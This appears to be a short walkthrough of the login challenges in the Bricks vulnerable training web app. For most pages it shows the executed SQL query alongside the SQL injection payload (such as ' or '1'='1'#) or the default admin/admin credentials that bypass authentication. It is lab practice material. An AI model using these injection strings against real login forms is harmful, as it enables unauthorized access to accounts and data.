### Login

Succesfully logged in. ×

Username:

Password:

Submit

SQL Query: SELECT \* FROM users WHERE name=" or 1 -- ' and password='1' ×

' or 1 -- -

Brick login page 2

### Login

Succesfully logged in. ×

Username:

Password:

Submit

SQL Query: SELECT \* FROM users WHERE name='admin' and password='admin' ×

Username and password = admin

### Login

Successfully logged in. ×

Username:

Password:

Submit

SQL Query: SELECT \* FROM users WHERE name="" or 1=('1') and password="" or 1=('1') LIMIT 0,1

) or 1=('1

Brick login page 4

**Login**

Succesfully logged in. ✕

Username:

Password:

Submit

SQL Query: SELECT \* FROM users WHERE name=("admin") and password=("admin")

Same with login page 2 just enter admin admin

Bricks login page 5

### Login

Successfully logged in. ×

Username:

Password:

Submit

SQL Query: SELECT \* FROM users WHERE name=" or '1'='1'# and password='f5bb0c8de146c67b44babbf4e6584cc0' ×

' or '1'='1'#

Bricks login page 6

You are succesfully logged in. | [Log Out](#)

No query just login.
